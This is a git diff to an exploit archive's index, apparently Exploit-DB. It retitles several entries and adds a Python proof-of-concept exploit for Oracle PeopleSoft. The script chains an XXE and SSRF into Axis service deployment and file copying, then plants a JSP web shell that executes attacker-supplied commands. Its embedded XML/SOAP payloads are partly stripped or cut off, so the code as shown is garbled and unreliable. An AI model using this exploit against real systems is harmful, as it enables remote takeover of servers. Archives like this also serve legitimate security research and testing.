diff --git a/files.csv b/files.csv
index 7a530401c..5623e2926 100644
--- a/files.csv
+++ b/files.csv
@@ -3678,7 +3678,7 @@ id,file,description,date,author,platform,type,port
28894,platforms/windows/dos/28894.txt,"Outpost Firewall PRO 4.0 - Local Denial of Service",2006-11-01,"Matousec Transparent security",windows,dos,0
28895,platforms/linux/dos/28895.txt,"Linux Kernel 2.6.x - SquashFS Double-Free Denial of Service",2006-11-02,LMH,linux,dos,0
28897,platforms/windows/dos/28897.txt,"Microsoft Internet Explorer 7 - MHTML Denial of Service",2006-11-02,"Positive Technologies",windows,dos,0
-28911,platforms/solaris/dos/28911.txt,"Sun Solaris 10 - UFS Local Denial of Service",2006-11-04,LMH,solaris,dos,0
+28911,platforms/solaris/dos/28911.txt,"Sun Solaris 10 - 'UFS' Local Denial of Service",2006-11-04,LMH,solaris,dos,0
28912,platforms/linux/dos/28912.txt,"Linux Kernel 2.6.x - 'ISO9660' Denial of Service",2006-11-05,LMH,linux,dos,0
28948,platforms/osx/dos/28948.c,"Apple Mac OSX 10.x - FPathConf System Call Local Denial of Service",2006-11-09,"ilja van sprundel",osx,dos,0
28957,platforms/android/dos/28957.txt,"Android Zygote - Socket and Fork Bomb (Denial of Service)",2013-10-14,"Luca Verderame",android,dos,0
@@ -11997,7 +11997,7 @@ id,file,description,date,author,platform,type,port
19587,platforms/windows/remote/19587.txt,"AN-HTTPd 1.2b - CGI Exploits",1999-11-02,UNYUN,windows,remote,0
19588,platforms/windows/remote/19588.c,"IBM HomePagePrint 1.0 7 - Buffer Overflow",1999-11-02,UNYUN,windows,remote,0
19589,platforms/windows/remote/19589.txt,"Avirt Gateway Suite 3.3/3.3 a/3.5 - Directory Creation",1999-10-31,"Jesús López de Aguileta",windows,remote,0
-19591,platforms/windows/remote/19591.txt,"Microsoft Internet Explorer 4/5 / Outlook 98 - window.open Redirect",1999-11-04,"Georgi Guninski",windows,remote,0
+19591,platforms/windows/remote/19591.txt,"Microsoft Internet Explorer 4/5 / Outlook 98 - 'window.open' Redirect",1999-11-04,"Georgi Guninski",windows,remote,0
19592,platforms/windows/remote/19592.asm,"Real Networks GameHouse dldisplay ActiveX control - Port Buffer Overflow (1)",1999-11-04,"dark spyrit",windows,remote,0
19593,platforms/windows/remote/19593.c,"Real Networks GameHouse dldisplay ActiveX control - Port Buffer Overflow (2)",1999-11-04,"dark spyrit",windows,remote,0
19595,platforms/windows/remote/19595.c,"Computer Software Manufaktur Alibaba 2.0 - Multiple CGI Vulnerabilities",1999-11-03,Kerb,windows,remote,0
@@ -17681,7 +17681,7 @@ id,file,description,date,author,platform,type,port
2709,platforms/php/webapps/2709.txt,"Creasito E-Commerce Content Manager - 'admin' Authentication Bypass",2006-11-03,SlimTim10,php,webapps,0
2710,platforms/php/webapps/2710.txt,"Ariadne 2.4 - store_config[code] Remote File Inclusion",2006-11-04,"Mehmet Ince",php,webapps,0
2711,platforms/php/webapps/2711.php,"e107 < 0.75 - 'e107language_e107cookie' Local File Inclusion",2006-11-04,Kacper,php,webapps,0
-2712,platforms/php/webapps/2712.php,"MDPro 1.0.76 - Cookie: PNSVlang Local File Inclusion",2006-11-04,Kacper,php,webapps,0
+2712,platforms/php/webapps/2712.php,"MDPro 1.0.76 - 'Cookie PNSVlang' Local File Inclusion",2006-11-04,Kacper,php,webapps,0
2713,platforms/php/webapps/2713.txt,"Drake CMS < 0.2.3 ALPHA rev.916 - Remote File Inclusion",2006-11-04,GregStar,php,webapps,0
2714,platforms/php/webapps/2714.pl,"PHPKIT 1.6.1R2 - 'search_user' SQL Injection",2006-11-04,x23,php,webapps,0
2717,platforms/php/webapps/2717.txt,"phpDynaSite 3.2.2 - 'racine' Remote File Inclusion",2006-11-04,DeltahackingTEAM,php,webapps,0
@@ -38294,7 +38294,7 @@ id,file,description,date,author,platform,type,port
41920,platforms/php/webapps/41920.txt,"WordPress Plugin Car Rental System 2.5 - SQL Injection",2017-04-25,"TAD GROUP",php,webapps,80
41921,platforms/php/webapps/41921.txt,"WordPress Plugin Wow Viral Signups 2.1 - SQL Injection",2017-04-25,"TAD GROUP",php,webapps,80
41922,platforms/php/webapps/41922.txt,"WordPress Plugin Wow Forms 2.1 - SQL Injection",2017-04-25,"TAD GROUP",php,webapps,80
-41925,platforms/xml/webapps/41925.txt,"Oracle PeopleSoft - 'PeopleSoftServiceListeningConnector' XML External Entity via DOCTYPE",2017-04-25,ERPScan,xml,webapps,0
+41925,platforms/xml/webapps/41925.txt,"Oracle PeopleSoft - 'PeopleSoftServiceListeningConnector' XML External Entity via DOCTYPE (PoC)",2017-04-25,ERPScan,xml,webapps,0
41926,platforms/jsp/webapps/41926.txt,"Oracle E-Business Suite 12.2.3 - 'IESFOOTPRINT' SQL Injection",2017-04-25,ERPScan,jsp,webapps,0
41927,platforms/multiple/webapps/41927.txt,"HPE OpenCall Media Platform (OCMP) 4.3.2 - Cross-Site Scripting / Remote File Inclusion",2017-04-25,"Paolo Stagno",multiple,webapps,0
41928,platforms/multiple/webapps/41928.py,"OpenText Documentum Content Server - dm_bp_transition.ebs docbase Method Arbitrary Code Execution",2017-04-25,"Andrey B. Panfilov",multiple,webapps,0
@@ -38807,3 +38807,4 @@ id,file,description,date,author,platform,type,port
43108,platforms/php/webapps/43108.txt,"Ingenious School Management System 2.3.0 - 'friend_index' SQL injection",2017-11-01,"Giulio Comi",php,webapps,0
43110,platforms/php/webapps/43110.txt,"WordPress Plugin JTRT Responsive Tables 4.1 - SQL Injection",2017-11-03,"Lenon Leite",php,webapps,0
43113,platforms/xml/webapps/43113.txt,"Ladon Framework for Python 0.9.40 - XML External Entity Expansion",2017-11-03,"RedTeam Pentesting",xml,webapps,0
+43114,platforms/java/webapps/43114.py,"Oracle PeopleSoft Enterprise PeopleTools < 8.55 - Remote Code Execution Via Blind XML External Entity",2017-05-17,"Charles Fol",java,webapps,0
diff --git a/platforms/java/webapps/43114.py b/platforms/java/webapps/43114.py
new file mode 100755
index 000000000..a96f728da
--- /dev/null
+++ b/platforms/java/webapps/43114.py
@@ -0,0 +1,374 @@
+#!/usr/bin/python3
+# Oracle PeopleSoft SYSTEM RCE
+# https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
+# cf
+# 2017-05-17
+
+import requests
+import urllib.parse
+import re
+import string
+import random
+import sys
+
+
+from requests.packages.urllib3.exceptions import InsecureRequestWarning
+requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
+
+
+try:
+ import colorama
+except ImportError:
+ colorama = None
+else:
+ colorama.init()
+
+ COLORS = {
+ '+': colorama.Fore.GREEN,
+ '-': colorama.Fore.RED,
+ ':': colorama.Fore.BLUE,
+ '!': colorama.Fore.YELLOW
+ }
+
+
+URL = sys.argv[1].rstrip('/')
+CLASS_NAME = 'org.apache.pluto.portalImpl.Deploy'
+PROXY = 'localhost:8080'
+
+# shell.jsp?c=whoami
+PAYLOAD = '<%@ page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis
+= new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>'
+
+
+class Browser:
+ """Wrapper around requests.
+ """
+
+ def __init__(self, url):
+ self.url = url
+ self.init()
+
+ def init(self):
+ self.session = requests.Session()
+ self.session.proxies = {
+ 'http': PROXY,
+ 'https': PROXY
+ }
+ self.session.verify = False
+
+ def get(self, url ,*args, **kwargs):
+ return self.session.get(url=self.url + url, *args, **kwargs)
+
+ def post(self, url, *args, **kwargs):
+ return self.session.post(url=self.url + url, *args, **kwargs)
+
+ def matches(self, r, regex):
+ return re.findall(regex, r.text)
+
+
+class Recon(Browser):
+ """Grabs different informations about the target.
+ """
+
+ def check_all(self):
+ self.site_id = None
+ self.local_port = None
+ self.check_version()
+ self.check_site_id()
+ self.check_local_infos()
+
+ def check_version(self):
+ """Grabs PeopleTools' version.
+ """
+ self.version = None
+ r = self.get('/PSEMHUB/hub')
+ m = self.matches(r, 'Registered Hosts Summary - ([0-9\.]+).')
+
+ if m:
+ self.version = m[0]
+ o(':', 'PTools version: %s' % self.version)
+ else:
+ o('-', 'Unable to find version')
+
+ def check_site_id(self):
+ """Grabs the site ID and the local port.
+ """
+ if self.site_id:
+ return
+
+ r = self.get('/')
+ m = self.matches(r, '/([^/]+)/signon.html')
+
+ if not m:
+ raise RuntimeError('Unable to find site ID')
+
+ self.site_id = m[0]
+ o('+', 'Site ID: ' + self.site_id)
+
+ def check_local_infos(self):
+ """Uses cookies to leak hostname and local port.
+ """
+ if self.local_port:
+ return
+
+ r = self.get('/psp/%s/signon.html' % self.site_id)
+
+ for c, v in self.session.cookies.items():
+ if c.endswith('-PORTAL-PSJSESSIONID'):
+ self.local_host, self.local_port, *_ = c.split('-')
+ o('+', 'Target: %s:%s' % (self.local_host, self.local_port))
+ return
+
+ raise RuntimeError('Unable to get local hostname / port')
+
+
+class AxisDeploy(Recon):
+ """Uses the XXE to install Deploy, and uses its two useful methods to get
+ a shell.
+ """
+
+ def init(self):
+ super().init()
+ self.service_name = 'YZWXOUuHhildsVmHwIKdZbDCNmRHznXR' #self.random_string(10)
+
+ def random_string(self, size):
+ return ''.join(random.choice(string.ascii_letters) for _ in range(size))
+
+ def url_service(self, payload):
+ return 'http://localhost:%s/pspc/services/AdminService?method=%s' % (
+ self.local_port,
+ urllib.parse.quote_plus(self.psoap(payload))
+ )
+
+ def war_path(self, name):
+ # This is just a guess from the few PeopleSoft instances we audited.
+ # It might be wrong.
+ suffix = '.war' if self.version and self.version >= '8.50' else ''
+ return './applications/peoplesoft/%s%s' % (name, suffix)
+
+ def pxml(self, payload):
+ """Converts an XML payload into a one-liner.
+ """
+ payload = payload.strip().replace('\n', ' ')
+ payload = re.sub('\s+<', '<', payload, flags=re.S)
+ payload = re.sub('\s+', ' ', payload, flags=re.S)
+ return payload
+
+ def psoap(self, payload):
+ """Converts a SOAP payload into a one-liner, including the comment trick
+ to allow attributes.
+ """
+ payload = self.pxml(payload)
+ payload = '!-->%s' % payload[:-1]
+ return payload
+
+ def soap_service_deploy(self):
+ """SOAP payload to deploy the service.
+ """
+ return """
+
+
+
+
+
+
+ """ % (self.service_name, CLASS_NAME)
+
+ def soap_service_undeploy(self):
+ """SOAP payload to undeploy the service.
+ """
+ return """
+
+
+
+ """ % (self.service_name, )
+
+ def xxe_ssrf(self, payload):
+ """Runs the given AXIS deploy/undeploy payload through the XXE.
+ """
+ data = """
+
+
+ ]>
+
+ &x;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ """ % self.url_service(payload)
+ r = self.post(
+ '/PSIGW/HttpListeningConnector',
+ data=self.pxml(data),
+ headers={
+ 'Content-Type': 'application/xml'
+ }
+ )
+
+ def service_check(self):
+ """Verifies that the service is correctly installed.
+ """
+ r = self.get('/pspc/services')
+ return self.service_name in r.text
+
+ def service_deploy(self):
+ self.xxe_ssrf(self.soap_service_deploy())
+
+ if not self.service_check():
+ raise RuntimeError('Unable to deploy service')
+
+ o('+', 'Service deployed')
+
+ def service_undeploy(self):
+ if not self.local_port:
+ return
+
+ self.xxe_ssrf(self.soap_service_undeploy())
+
+ if self.service_check():
+ o('-', 'Unable to undeploy service')
+ return
+
+ o('+', 'Service undeployed')
+
+ def service_send(self, data):
+ """Send data to the Axis endpoint.
+ """
+ return self.post(
+ '/pspc/services/%s' % self.service_name,
+ data=data,
+ headers={
+ 'SOAPAction': 'useless',
+ 'Content-Type': 'application/xml'
+ }
+ )
+
+ def service_copy(self, path0, path1):
+ """Copies one file to another.
+ """
+ data = """
+
+
+
+
+ %s
+ %s
+
+
+
+ """.strip() % (path0, path1)
+ response = self.service_send(data)
+ return '
+
+
+
+
+ - %s
+ - %s
+ - %s.war
+ - something
+ - -addToEntityReg
+
+
+
+
+
+ """.strip() % (tmp_path, tmp_dir, tmp_dir, PAYLOAD)
+ response = self.service_send(data)
+
+ def build_shell(self):
+ """Builds a SYSTEM shell.
+ """
+ # On versions >= 8.50, using another extension than JSP got 70 bytes
+ # in return every time, for some reason.
+ # Using .jsp seems to trigger caching, thus the same pivot cannot be
+ # used to extract several files.
+ # Again, this is just from experience, nothing confirmed
+ pivot = '/%s.jsp' % self.random_string(20)
+ pivot_path = self.war_path('PSOL') + pivot
+ pivot_url = '/PSOL' + pivot
+
+ # 1: Copy portletentityregistry.xml to TMP
+
+ per = '/WEB-INF/data/portletentityregistry.xml'
+ per_path = self.war_path('pspc')
+ tmp_path = '../' * 20 + 'TEMP'
+ tmp_dir = self.random_string(20)
+ tmp_per = tmp_path + '/' + tmp_dir + per
+
+ if not self.service_copy(per_path + per, tmp_per):
+ raise RuntimeError('Unable to copy original XML file')
+
+ # 2: Add JSP payload
+ self.service_main(tmp_path, tmp_dir)
+
+ # 3: Copy XML to JSP in webroot
+ if not self.service_copy(tmp_per, pivot_path):
+ raise RuntimeError('Unable to copy modified XML file')
+
+ response = self.get(pivot_url)
+
+ if response.status_code != 200:
+ raise RuntimeError('Unable to access JSP shell')
+
+ o('+', 'Shell URL: ' + self.url + pivot_url)
+
+
+class PeopleSoftRCE(AxisDeploy):
+ def __init__(self, url):
+ super().__init__(url)
+
+
+def o(s, message):
+ if colorama:
+ c = COLORS[s]
+ s = colorama.Style.BRIGHT + COLORS[s] + '|' + colorama.Style.RESET_ALL
+ print('%s %s' % (s, message))
+
+
+x = PeopleSoftRCE(URL)
+
+try:
+ x.check_all()
+ x.service_deploy()
+ x.build_shell()
+except RuntimeError as e:
+ o('-', e)
+finally:
+ x.service_undeploy()